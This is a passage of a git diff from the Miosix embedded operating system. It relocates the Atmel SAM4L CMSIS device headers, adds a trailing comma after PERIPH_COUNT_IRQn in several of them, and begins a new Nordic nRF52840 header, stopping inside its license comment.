a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim0.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim0.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim0.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim0.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim1.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim1.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim1.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim1.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim2.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim2.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim2.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim2.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim3.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim3.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim3.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twim3.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis0.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis0.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis0.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis0.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis1.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis1.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis1.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_twis1.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart0.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart0.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart0.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart0.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart1.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart1.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart1.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart1.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart2.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart2.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart2.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart2.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart3.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart3.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart3.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usart3.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usbc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usbc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_usbc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_usbc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_wdt.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_wdt.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_wdt.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_wdt.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2a.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2a.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2b.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2b.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2c.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc2c.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4a.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4a.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4b.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4b.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4c.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc4c.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8a.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8a.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8b.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8b.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8c.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4lc8c.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2a.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2a.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2b.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2b.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2c.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls2c.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4a.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4a.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4b.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4b.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4c.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls4c.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8a.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8a.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8b.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8b.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8c.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/pio/pio_sam4ls8c.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4l.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4l.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4l.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4l.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h index 365e2ef05..fca5356cf 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2a.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC2A Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC2A LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2b.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2b.h index 88234353e..84db64e37 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2b.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2b.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC2B Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC2B LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2c.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2c.h index 70f8662e8..0cb8d40ad 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc2c.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc2c.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC2C Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC2C LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4a.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4a.h index aa02fa4cf..40a94205c 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4a.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4a.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC4A Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC4A LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4b.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4b.h index e9c770ace..4803185bc 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4b.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4b.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC4B Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC4B LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4c.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4c.h index 3131f3a1e..e79b65c4e 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc4c.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc4c.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC4C Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC4C LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8a.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8a.h index aeaa3ccc3..62e01459c 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8a.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8a.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC8A Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC8A LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8b.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8b.h index 838d1c904..2cea3c7c1 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8b.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8b.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC8B Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC8B LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8c.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8c.h index bd6690066..0c7675508 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4lc8c.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4lc8c.h @@ -174,7 +174,7 @@ typedef enum IRQn TWIM3_IRQn = 78, /**< 78 SAM4LC8C Two-wire Master Interface 3 (TWIM3) */ LCDCA_IRQn = 79, /**< 79 SAM4LC8C LCD Controller (LCDCA) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2a.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2a.h index 9038bfc05..49add9eca 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2a.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2a.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS2A Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS2A Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2b.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2b.h index 053062b65..7d9012787 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2b.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2b.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS2B Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS2B Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2c.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2c.h index 0a3675225..eabd27464 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls2c.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls2c.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS2C Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS2C Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4a.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4a.h index 8972b2704..2e0dd79e4 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4a.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4a.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS4A Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS4A Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4b.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4b.h index 27ed4d63f..62865ec00 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4b.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4b.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS4B Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS4B Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4c.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4c.h index 964f70dde..8181cf8ae 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls4c.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls4c.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS4C Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS4C Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8a.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8a.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8a.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8a.h index a0d08e322..d46bfb891 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8a.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8a.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS8A Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS8A Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8b.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8b.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8b.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8b.h index 3aa3f1f36..2604f5049 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8b.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8b.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS8B Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS8B Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8c.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8c.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8c.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8c.h index f935bd055..c9c2f363e 100644 --- a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/sam4ls8c.h +++ b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/sam4ls8c.h @@ -172,7 +172,7 @@ typedef enum IRQn TWIM2_IRQn = 77, /**< 77 SAM4LS8C Two-wire Master Interface 2 (TWIM2) */ TWIM3_IRQn = 78, /**< 78 SAM4LS8C Two-wire Master Interface 3 (TWIM3) */ - PERIPH_COUNT_IRQn = 80 /**< Number of peripheral IDs */ + PERIPH_COUNT_IRQn = 80, /**< Number of peripheral IDs */ } IRQn_Type; typedef struct _DeviceVectors diff --git a/miosix/arch/CMSIS/Device/Nordic/nRF52/Include/nrf52840.h b/miosix/arch/CMSIS/Device/Nordic/nRF52/Include/nrf52840.h new file mode 100644 index 000000000..1a7138a96 --- /dev/null +++ b/miosix/arch/CMSIS/Device/Nordic/nRF52/Include/nrf52840.h @@ -0,0 +1,2960 @@ +/* + * Copyright (c) 2010 - 2021, Nordic Semiconductor ASA + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. 